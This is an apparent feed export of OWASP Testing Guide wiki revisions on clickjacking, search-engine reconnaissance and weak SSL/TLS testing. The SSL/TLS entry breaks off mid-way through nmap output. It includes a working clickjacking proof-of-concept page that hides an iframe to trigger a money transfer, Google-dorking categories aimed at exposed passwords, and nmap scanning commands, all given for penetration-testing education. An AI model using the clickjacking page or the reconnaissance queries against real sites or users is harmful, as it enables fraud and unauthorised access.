The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible).&lt;br /&gt;
The attacker's page may look a simple and harmless web page like the one presented below:&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_1.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
But playing with the CSS opacity value we can see what is hidden under a seemingly innocuous web page.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_2.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
The clickjacking code the create this page is presented below:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
	&amp;lt;head&amp;gt;&lt;br /&gt;
		&amp;lt;title&amp;gt;Trusted web page&amp;lt;/title&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
		&amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&amp;lt;!-- &lt;br /&gt;
			*{ &lt;br /&gt;
				margin:0; &lt;br /&gt;
				padding:0;&lt;br /&gt;
			}&lt;br /&gt;
			body {  &lt;br /&gt;
				background:#ffffff;&lt;br /&gt;
			}&lt;br /&gt;
			.button&lt;br /&gt;
			{&lt;br /&gt;
				padding:5px;&lt;br /&gt;
				background:#6699CC;&lt;br /&gt;
				left:275px;&lt;br /&gt;
				width:120px;&lt;br /&gt;
				border: 1px solid #336699;&lt;br /&gt;
			}&lt;br /&gt;
			#content {&lt;br /&gt;
				width: 500px;&lt;br /&gt;
				height: 500px;&lt;br /&gt;
				margin-top: 150px ;&lt;br /&gt;
				margin-left: 500px;&lt;br /&gt;
			}&lt;br /&gt;
			#clickjacking&lt;br /&gt;
			{ &lt;br /&gt;
				position: absolute; &lt;br /&gt;
				left: 172px; &lt;br /&gt;
				top: 60px; &lt;br /&gt;
				filter: alpha(opacity=0); &lt;br /&gt;
				opacity:0.0&lt;br /&gt;
			} &lt;br /&gt;
		//--&amp;gt;&amp;lt;/style&amp;gt;&lt;br /&gt;
		&lt;br /&gt;
	&amp;lt;/head&amp;gt;&lt;br /&gt;
	&amp;lt;body&amp;gt;&lt;br /&gt;
		&amp;lt;div id=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;h1&amp;gt;www.owasp.com&amp;lt;/h1&amp;gt;&lt;br /&gt;
			&amp;lt;form action=&amp;quot;http://www.owasp.com&amp;quot;&amp;gt;&lt;br /&gt;
				&amp;lt;input type=&amp;quot;submit&amp;quot; class=&amp;quot;button&amp;quot; value=&amp;quot;Click and go!&amp;quot;&amp;gt;&lt;br /&gt;
			&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                &amp;lt;iframe id=&amp;quot;clickjacking&amp;quot; src=&amp;quot;http://localhost/csrf/transfer.php?account=ATTACKER&amp;amp;amount=10000&amp;quot; width=&amp;quot;500&amp;quot; height=&amp;quot;500&amp;quot; scrolling=&amp;quot;no&amp;quot; frameborder=&amp;quot;none&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;/iframe&amp;gt;&lt;br /&gt;
	&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
With the help of CSS (note the #clickjacking block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button &amp;quot;Click and go!&amp;quot; the form is submitted and the transfer is completed.&lt;br /&gt;
&lt;br /&gt;
[[Image:clickjacking_example_malicious_page_3.png|400px|thumb|center]]&lt;br /&gt;
&lt;br /&gt;
The example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''OWASP Resources'''&lt;br /&gt;
* [[Clickjacking]]&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Marcus Niemietz: &amp;quot;UI Redressing: Attacks and Countermeasures Revisited&amp;quot; - http://ui-redressing.mniemietz.de/uiRedressing.pdf&lt;br /&gt;
* &amp;quot;Clickjacking&amp;quot; - https://en.wikipedia.org/wiki/Clickjacking&lt;br /&gt;
* Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: &amp;quot;Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites&amp;quot; - http://seclab.stanford.edu/websec/framebusting/framebust.pdf&lt;br /&gt;
* Paul Stone: &amp;quot;Next generation clickjacking&amp;quot; - https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* Context Information Security: &amp;quot;Clickjacking Tool&amp;quot; - http://www.contextis.com/research/tools/clickjacking-tool/&lt;/div&gt;</summary>
		<author><name>Tomas Zatko</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Conduct_search_engine_discovery/reconnaissance_for_information_leakage_(OTG-INFO-001)&amp;diff=164529</id>
		<title>Conduct search engine discovery/reconnaissance for information leakage (OTG-INFO-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Conduct_search_engine_discovery/reconnaissance_for_information_leakage_(OTG-INFO-001)&amp;diff=164529"/>
				<updated>2013-12-11T15:17:07Z</updated>
		
		<summary type="html">&lt;p&gt;Tomas Zatko: Added PunkSPIDER, Google Hacking Database, changed reference numbers to make them unique&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
There are direct and indirect elements to search engine discovery and reconnaissance. Direct methods relate to searching the indexes and the associated content from caches. Indirect methods relate to gleaning sensitive design and configuration information by searching forums, newsgroups and tendering websites.&lt;br /&gt;
&lt;br /&gt;
Once a search engine robot has completed crawling, it commences indexing the web page based on tags and associated attributes, such as &amp;lt;TITLE&amp;gt;, in order to return the relevant search results. [1]&lt;br /&gt;
&lt;br /&gt;
If the robots.txt file is not updated during the lifetime of the web site, and inline HTML meta tags that instruct robots not to index content ahve not been used, then it is possible for indexes to contain web content not intended to be included in by the owners. Website owners may use the previously mentioned robots.txt, HTML meta tags, authentication and tools provided by search engines to remove such content.&lt;br /&gt;
&lt;br /&gt;
== Test Objectives ==&lt;br /&gt;
&lt;br /&gt;
To understand what sensitive design and configuration information is exposed of the application/system/organisation both directly (on the organisation's website) or indirectly (on a third party website)&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
Using a search engine, search for:&lt;br /&gt;
* Network diagrams and configurations&lt;br /&gt;
* Archived posts and emails by administrators and other key staff&lt;br /&gt;
* Logon procedures and username formats&lt;br /&gt;
* Usernames and passwords&lt;br /&gt;
* Error message content&lt;br /&gt;
* Development, test, UAT and staging versions of the website&lt;br /&gt;
&lt;br /&gt;
=== Black Box Testing ===&lt;br /&gt;
Using the advanced &amp;quot;site:&amp;quot; search operator, it is possible to restrict search results to a specific domain [2]. Do not limit testing to just one search engine provider - they may generate different results depending on when they crawled content and their own algorithms. Consider:&lt;br /&gt;
&lt;br /&gt;
* Baidu&lt;br /&gt;
* binsearch.info&lt;br /&gt;
* Bing&lt;br /&gt;
* Duck Duck Go&lt;br /&gt;
* ixquick/Startpage&lt;br /&gt;
* Google&lt;br /&gt;
* Shodan&lt;br /&gt;
* PunkSpider&lt;br /&gt;
&lt;br /&gt;
Duck Duck Go and ixquick/Startpage provide reduced information leakage about the tester.&lt;br /&gt;
&lt;br /&gt;
Google provides the Advanced &amp;quot;cache:&amp;quot; search operator [2], but this is the equivalent to clicking the &amp;quot;Cached&amp;quot; next to each Google Search Result.  Hence, the use of the Advanced &amp;quot;site:&amp;quot; Search Operator and then clicking &amp;quot;Cached&amp;quot; is preferred. &lt;br /&gt;
&lt;br /&gt;
The Google SOAP Search API supports the doGetCachedPage and the associated doGetCachedPageResponse SOAP Messages [3] to assist with retrieving cached pages. An implementation of this is under development by the [[::Category:OWASP_Google_Hacking_Project |OWASP &amp;quot;Google Hacking&amp;quot; Project]].&lt;br /&gt;
&lt;br /&gt;
PunkSpider is web application vulnerability search engine. It has little use for pentester doing manual work. However it can be useful as demonstration of easiness of finding vulnerabilities by script-kiddies.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Example ====&lt;br /&gt;
To find the web content of owasp.org indexed by a typical search engine, the syntax required is:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
site:owasp.org&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
[[Image:Google_site_Operator_Search_Results_Example_20121219.jpg]]&lt;br /&gt;
&lt;br /&gt;
To display the index.html of owasp.org as cached, the syntax is:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cache:owasp.org&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
[[Image:Google_cache_Operator_Search_Results_Example_20121219.jpg]]&lt;br /&gt;
&lt;br /&gt;
==== Google Hacking Database ====&lt;br /&gt;
&lt;br /&gt;
Google Hacking Database is list of useful search queries for for google. Queries are put in several categories:&lt;br /&gt;
* Footholds&lt;br /&gt;
* Files containing usernames&lt;br /&gt;
* Sensitive Directories&lt;br /&gt;
* Web Server Detection&lt;br /&gt;
* Vulnerable Files&lt;br /&gt;
* Vulnerable Servers&lt;br /&gt;
* Error Messages&lt;br /&gt;
* Files containing juicy info&lt;br /&gt;
* Files containing passwords&lt;br /&gt;
* Sensitive Online Shopping Info&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Gray Box testing and example === &lt;br /&gt;
Gray Box testing is the same as Black Box testing above.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Vulnerability References ==&lt;br /&gt;
'''Web'''&amp;lt;br&amp;gt;&lt;br /&gt;
[1] &amp;quot;Google Basics: Learn how Google Discovers, Crawls, and Serves Web Pages&amp;quot; - http://www.google.com/support/webmasters/bin/answer.py?answer=70897 &amp;lt;br&amp;gt;&lt;br /&gt;
[2] &amp;quot;Operators and More Search Help&amp;quot; - http://support.google.com/websearch/bin/answer.py?hl=en&amp;amp;answer=136861 &amp;lt;br&amp;gt;&lt;br /&gt;
[3] &amp;quot;Google Hacking Database&amp;quot; - http://www.exploit-db.com/google-dorks/ &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
[4] FoundStone SiteDigger - http://www.mcafee.com/uk/downloads/free-tools/sitedigger.aspx &amp;lt;br&amp;gt;&lt;br /&gt;
[5] Google Hacker - http://yehg.net/lab/pr0js/files.php/googlehacker.zip&amp;lt;br&amp;gt;&lt;br /&gt;
[6] Stach &amp;amp; Liu's Google Hacking Diggity Project - http://www.stachliu.com/resources/tools/google-hacking-diggity-project/ &amp;lt;br&amp;gt;&lt;br /&gt;
[7] PunkSPIDER - http://punkspider.hyperiongray.com/ &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
Carefully consider the sensitivity of design and configuration information before it is posted online.&lt;br /&gt;
&lt;br /&gt;
Periodically review the sensitivity of existing design and configuration information that is posted online.&lt;/div&gt;</summary>
		<author><name>Tomas Zatko</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&amp;diff=164528</id>
		<title>Testing for Weak SSL/TLS Ciphers, Insufficient Transport Layer Protection (OTG-CRYPST-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)&amp;diff=164528"/>
				<updated>2013-12-11T14:18:07Z</updated>
		
		<summary type="html">&lt;p&gt;Tomas Zatko: Added Testing via HTTP proxy with example. Also some minor changes.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Sensitive data must be protected when it is transmitted through the network. These data includes credentials and credit cards. As a rule of thumb if data must be protected when it is stored, it must be protected also during transmission. &lt;br /&gt;
&lt;br /&gt;
HTTP is a clear-text protocol and it is normally secured via an SSL/TLS tunnel, resulting in HTTPS traffic [1]. Use of these protocols ensure not only confidentiality but also authentication. Servers are authenticated using digital certificates, and it is also possibile to use client certificate for mutual authentication. &lt;br /&gt;
&lt;br /&gt;
Even if high grade ciphers are today supported and normally used, some misconfiguration in server can be used to force the use of a weak cipher - or at worst no encryption - permitting to an attacker to gain access to the supposed secure communication channel. Other misconfiguration can be used for a Denial of Service attack.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
If control is missed and HTTP protocol is used to transmit sensitive information is a vulnerability [2] (e.g. credentials transmitted over HTTP [3]) and there are a specific OWASP Testing Guide v4’s test.&lt;br /&gt;
&lt;br /&gt;
If SSL/TLS service is present it is good but it increments the attack surface and some vulnerabilities insist on it, such as:&lt;br /&gt;
* SSL/TLS protocols, ciphers, keys and renegotiation must be properly configured.&lt;br /&gt;
* Certificate validity must be ensured.&lt;br /&gt;
Other vulnerabilities linked to this is:&lt;br /&gt;
* Software exposed must be updated due to possibility of known vulnerabilities [4].&lt;br /&gt;
* Usage of Secure flag for Session Cookies [5].&lt;br /&gt;
* Usage of HTTP Strict Transport Security (HSTS) [6].&lt;br /&gt;
* The presence of HTTP and HTTPS both, which can be used to intercept traffic [7], [8].&lt;br /&gt;
* The presence of mixed HTTPS and HTTP content in the same page, which can be used to Leak information.&lt;br /&gt;
&lt;br /&gt;
===Sensitive data transmitted in clear-text===&lt;br /&gt;
If the application transmits sensitive information via unencrypted channels - e.g. HTTP - it is a vulnerability. Typically it is possible to find BASIC authentication over HTTP, input password or session cookie sent via HTTP and, in general, other information considered by regulations, laws or organization policy.&lt;br /&gt;
&lt;br /&gt;
===Weak SSL/TSL Ciphers/Protocols/Keys===&lt;br /&gt;
Historically, there have been limitations set in place by the U.S. government to allow cryptosystems to be exported only for key sizes of at most 40 bits, a key length which could be broken and would allow the decryption of communications. Since then cryptographic export regulations have been relaxed the maximum key size is 128 bits.&lt;br /&gt;
It is important to check the SSL configuration being used to avoid putting in place cryptographic support which could be easily defeated. To reach this goal SSL-based services should not offer the possibility to choose weak cipher suite. A cipher suite is specified by an encryption protocol (e.g. DES, RC4, AES), the encryption key length (e.g. 40, 56, or 128 bits), and a hash algorithm (e.g. SHA, MD5) used for integrity checking.&lt;br /&gt;
Briefly, the key points for the cipher suite determination are the following: &lt;br /&gt;
# The client sends to the server a ClientHello message specifying, among other information, the protocol and the cipher suites that it is able to handle. Note that a client is usually a web browser (most popular SSL client nowadays), but not necessarily, since it can be any SSL-enabled application; the same holds for the server, which needs not to be a web server, though this is the most common case [9].&lt;br /&gt;
#The server responds with a ServerHello message, containing the chosen protocol and cipher suite that will be used for that session (in general the server selects the strongest protocol and cipher suite supported by both the client and server). &lt;br /&gt;
&lt;br /&gt;
It is possible (for example, by means of configuration directives) to specify which cipher suites the server will honor. In this way you may control, for example, whether or not conversations with clients will support 40-bit encryption only.&lt;br /&gt;
&lt;br /&gt;
#The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.&lt;br /&gt;
#The server sends a ServerHelloDone message and waits for a client response.&lt;br /&gt;
#Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.&lt;br /&gt;
&lt;br /&gt;
===SSL certificate validity – client and server===&lt;br /&gt;
&lt;br /&gt;
When accessing a web application via the HTTPS protocol, a secure channel is established between the client and the server. The identity of one (the server) or both parties (client and server) is then established by means of digital certificates. So, once the cipher suite is determined, the “SSL Handshake” continues with the exchange of the certificates, like follow:&lt;br /&gt;
# The server sends its Certificate message and, if client authentication is required, also sends a CertificateRequest message to the client.&lt;br /&gt;
# The server sends a ServerHelloDone message and waits for a client response.&lt;br /&gt;
# Upon receipt of the ServerHelloDone message, the client verifies the validity of the server's digital certificate.&lt;br /&gt;
&lt;br /&gt;
In order for the communication to be set up, a number of checks on the certificates must be passed. While discussing SSL and certificate based authentication is beyond the scope of this Guide, we will focus on the main criteria involved in ascertaining certificate validity: &lt;br /&gt;
&lt;br /&gt;
* Checking if the Certificate Authority (CA) is a known one (meaning one considered trusted);&lt;br /&gt;
* Checking that the certificate is currently valid;&lt;br /&gt;
* Checking that the name of the site and the name reported in the certificate match.&lt;br /&gt;
&lt;br /&gt;
Let is examine each check more in detail. &lt;br /&gt;
&lt;br /&gt;
* Each browser comes with a preloaded list of trusted CAs, against which the certificate signing CA is compared (this list can be customized and expanded at will). During the initial negotiations with an HTTPS server, if the server certificate relates to a CA unknown to the browser, a warning is usually raised. This happens most often because a web application relies on a certificate signed by a self-established CA. Whether this is to be considered a concern depends on several factors. For example, this may be fine for an Intranet environment (think of corporate web email being provided via HTTPS; here, obviously all users recognize the internal CA as a trusted CA). When a service is provided to the general public via the Internet, however (i.e. when it is important to positively verify the identity of the server we are talking to), it is usually imperative to rely on a trusted CA, one which is recognized by all the user base (and here we stop with our considerations; we won’t delve deeper in the implications of the trust model being used by digital certificates). &lt;br /&gt;
&lt;br /&gt;
* Certificates have an associated period of validity, therefore they may expire. Again, we are warned by the browser about this. A public service needs a temporally valid certificate; otherwise, it means we are talking with a server whose certificate was issued by someone we trust, but has expired without being renewed. &lt;br /&gt;
&lt;br /&gt;
* What if the name on the certificate and the name of the server do not match? If this happens, it might sound suspicious. For a number of reasons, this is not so rare to see. A system may host a number of name-based virtual hosts, which share the same IP address and are identified by means of the HTTP 1.1 Host: header information. In this case, since the SSL handshake checks the server certificate before the HTTP request is processed, it is not possible to assign different certificates to each virtual server. Therefore, if the name of the site and the name reported in the certificate do not match, we have a condition which is typically signaled by the browser. To avoid this, IP-based virtual servers must be used. [33] and [34] describe techniques to deal with this problem and allow name-based virtual hosts to be correctly referenced. &lt;br /&gt;
&lt;br /&gt;
===Other vulnerabilities===&lt;br /&gt;
The presence of a new service, listening in a separate tcp port may introduce vulnerabilities such as Infrastructure vulnerability if software is not up to date [4]. Futhermore for a correct protection of data during transmission Session Cookie must use the Secure flag [5] and some directives should be sent to the browser to accept only secure traffic (e.g. HSTS [6], CSP [9]). &lt;br /&gt;
&lt;br /&gt;
Also there are some attacks can be used to intercept traffic if the web server exposes the application on both HTTP and HTTPS [6], [7] or in case of mixed HTTP and HTTPS resources in the same page.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===Testing for sensitive data transmitted in clear-text===&lt;br /&gt;
Various typologies of information which must be protected can be also transmitted in clear text. It is possible to check if these information is transmitted over HTTP instead of HTTPS.&lt;br /&gt;
&lt;br /&gt;
Please refer to specific Tests for full details, for credentials [3] and other kind of data [2].  &lt;br /&gt;
&lt;br /&gt;
=====Example 1. Basic Authentication over HTTP=====&lt;br /&gt;
A typical example is the usage of Basic Authentication over HTTP. Also because with Basic Authentication, after login, credentials are encoded - and not encrypted - into HTTP Headers.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ curl -kis http://example.com/restricted/&lt;br /&gt;
HTTP/1.1 401 Authorization Required&lt;br /&gt;
Date: Fri, 01 Aug 2013 00:00:00 GMT&lt;br /&gt;
WWW-Authenticate: Basic realm=&amp;quot;Restricted Area&amp;quot;&lt;br /&gt;
Accept-Ranges: bytes&lt;br /&gt;
Vary: Accept-Encoding&lt;br /&gt;
Content-Length: 162&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;401 Authorization Required&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=white&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;401 Authorization Required&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Invalid login credentials!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Testing for Weak SSL/TSL Ciphers/Protocols/Keys vulnerabilities===&lt;br /&gt;
Large number of available cipher suites and quick progress in cryptanalysis makes judging a SSL server a non-trivial task. At the time of writing these criteria are widely recognized as minimum checklist:&lt;br /&gt;
* Weak ciphers must not be used (e.g. less than 128 bits [10]; no NULL ciphers suite, due to no encryption used; no Anonymous Diffie-Hellmann, due to not provides authentication).&lt;br /&gt;
* Weak protocols must be disabled (e.g. SSLv2 must be disabled, due to known weaknesses in protocol design [11]).&lt;br /&gt;
* Renegotiation must be properly configured (e.g. Insecure Renegotiation must be disabled, due to MiTM attacks [12] and Client-initiated Renegotiation must be disabled, due to Denial of Service vulnerability [13]).&lt;br /&gt;
* No Export (EXP) level cipher suites, due to can be easly broken [10].&lt;br /&gt;
* X.509 certificates key length must be strong (e.g. if RSA or DSA is used the key must be at least 1024 bits).&lt;br /&gt;
* X.509 certificates must be signed only with secure hashing algoritms (e.g. not signed using MD5 hash, due to known collision attacks on this hash).&lt;br /&gt;
* Keys must be generated with proper entropy (e.g, Weak Key Generated with Debian) [14].&lt;br /&gt;
A most complete checklist includes:&lt;br /&gt;
* Secure Renegotiation should be enabled.&lt;br /&gt;
* MD5 should not be used, due to known collision attacks. [35]&lt;br /&gt;
* RC4 should not be used, due to crypto-analytical attacks [15].&lt;br /&gt;
* Server should be protected from BEAST Attack [16].&lt;br /&gt;
* Server should be protected from CRIME attack, TLS compression must be disabled [17].&lt;br /&gt;
* Server should support Forward Secrecy [18].&lt;br /&gt;
&lt;br /&gt;
Following standards can be used as reference while assessing SSL servers:&lt;br /&gt;
* PCI-DSS v2.0 in point 4.1 requires compliant parties to use &amp;quot;strong cryptography&amp;quot; without precisely defining key lengths and algorithms. Common interpretation, partially based on previous versions of the standard, is that at least 128 bit key cipher, no export strength algorithms and no SSLv2 should be used [19].&lt;br /&gt;
* Qualys SSL Labs Server Rating Guide [14], Depoloyment best practice [10] and SSL Threat Model [20] has been proposed to standardize SSL server assessment and configuration. But is less updated than the SSL Server tool [21].&lt;br /&gt;
* OWASP has a lot of resources about SSL/TLS Security [22], [23], [24], [25]. [26].&lt;br /&gt;
&lt;br /&gt;
Some tools and scanners both free - e.g. SSLAudit [28] or SSLScan [29] and commercial - e.g. Tenable Nessus [27], and other used into examples - can be used to assess SSL/TLS vulnerabilities. But due to evolution of these vulnerabilities a good way is also to check them manually with openssl [30] or using tool’s output as an input for manual evaluation using the references on the bottom on the Test to stay updated.&lt;br /&gt;
&lt;br /&gt;
Sometimes the SSL/TLS enabled service is not directly accessible and you can access it only via HTTP proxy using CONNECT method [36]. Most of the tools will try to connect to desired tcp port in order to start SSL/TLS handshake. This will obviously not work since desired port is accessible only via HTTP proxy. You can easily circumvent this by using relaying software such as socat [37].&lt;br /&gt;
&lt;br /&gt;
====Example 2. SSL service recognition via nmap====&lt;br /&gt;
First step is to identify ports which have SSL/TLS wrapped services. Typically tcp ports with SSL for web and mail services are -  but not limited to - 443 (https), 465 (ssmtp), 585 (imap4-ssl), 993 (imaps), 995 (ssl-pop).&lt;br /&gt;
In this example we search for SSL services using nmap with “-sV” option, used for identify services and it is also able to identify SSL services [31]. Other options are for this particular example and must be customized. Often in a Web Application Penetration Test scope is limited to port 80 and 443.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nmap -sV --reason -PN -n --top-ports 100 www.example.com&lt;br /&gt;
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST&lt;br /&gt;
Nmap scan report for www.example.com (127.0.0.1)&lt;br /&gt;
Host is up, received user-set (0.20s latency).&lt;br /&gt;
Not shown: 89 filtered ports&lt;br /&gt;
Reason: 89 no-responses&lt;br /&gt;
PORT    STATE SERVICE  REASON  VERSION&lt;br /&gt;
21/tcp  open  ftp      syn-ack Pure-FTPd&lt;br /&gt;
22/tcp  open  ssh      syn-ack OpenSSH 5.3 (protocol 2.0)&lt;br /&gt;
25/tcp  open  smtp     syn-ack Exim smtpd 4.80&lt;br /&gt;
26/tcp  open  smtp     syn-ack Exim smtpd 4.80&lt;br /&gt;
80/tcp  open  http     syn-ack&lt;br /&gt;
110/tcp open  pop3     syn-ack Dovecot pop3d&lt;br /&gt;
143/tcp open  imap     syn-ack Dovecot imapd&lt;br /&gt;
443/tcp open  ssl/http syn-ack Apache&lt;br /&gt;
465/tcp open  ssl/smtp syn-ack Exim smtpd 4.80&lt;br /&gt;
993/tcp open  ssl/imap syn-ack Dovecot imapd&lt;br /&gt;
995/tcp open  ssl/pop3 syn-ack Dovecot pop3d&lt;br /&gt;
Service Info: Hosts: example.com&lt;br /&gt;
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .&lt;br /&gt;
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====&lt;br /&gt;
nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com&lt;br /&gt;
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST&lt;br /&gt;
Nmap scan report for www.example.com (127.0.0.1)&lt;br /&gt;
Host is up (0.090s latency).&lt;br /&gt;
rDNS record for 127.0.0.1: www.example.com&lt;br /&gt;
PORT    STATE SERVICE&lt;br /&gt;
443/tcp open  https&lt;br /&gt;
| ssl-cert: Subject: commonName=www.example.org&lt;br /&gt;
| Issuer: commonName=*******&lt;br /&gt;
| Public Key type: rsa&lt;br /&gt;
| Public Key bits: 1024&lt;br /&gt;
| Not valid before: 2010-01-23T00:00:00+00:00&lt;br /&gt;
| Not valid after:  2020-02-28T23:59:59+00:00&lt;br /&gt;
| MD5:   *******&lt;br /&gt;
|_SHA-1: *******&lt;br /&gt;
| ssl-enum-ciphers: &lt;br /&gt;
|   SSLv3: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|   TLSv1.0: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|_  least strength: strong&lt;br /&gt;
465/tcp open  smtps&lt;br /&gt;
| ssl-cert: Subject: commonName=*.exapmple.com&lt;br /&gt;
| Issuer: commonName=*******&lt;br /&gt;
| Public Key type: rsa&lt;br /&gt;
| Public Key bits: 2048&lt;br /&gt;
| Not valid before: 2010-01-23T00:00:00+00:00&lt;br /&gt;
| Not valid after:  2020-02-28T23:59:59+00:00&lt;br /&gt;
| MD5:   *******&lt;br /&gt;
|_SHA-1: *******&lt;br /&gt;
| ssl-enum-ciphers: &lt;br /&gt;
|   SSLv3: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|   TLSv1.0: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_RC4_128_SHA - strong&lt;br /&gt;
|     compressors: &lt;br /&gt;
|       NULL&lt;br /&gt;
|_  least strength: strong&lt;br /&gt;
993/tcp open  imaps&lt;br /&gt;
| ssl-cert: Subject: commonName=*.exapmple.com&lt;br /&gt;
| Issuer: commonName=*******&lt;br /&gt;
| Public Key type: rsa&lt;br /&gt;
| Public Key bits: 2048&lt;br /&gt;
| Not valid before: 2010-01-23T00:00:00+00:00&lt;br /&gt;
| Not valid after:  2020-02-28T23:59:59+00:00&lt;br /&gt;
| MD5:   *******&lt;br /&gt;
|_SHA-1: *******&lt;br /&gt;
| ssl-enum-ciphers: &lt;br /&gt;
|   SSLv3: &lt;br /&gt;
|     ciphers: &lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong&lt;br /&gt;
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong&lt;br /&gt;
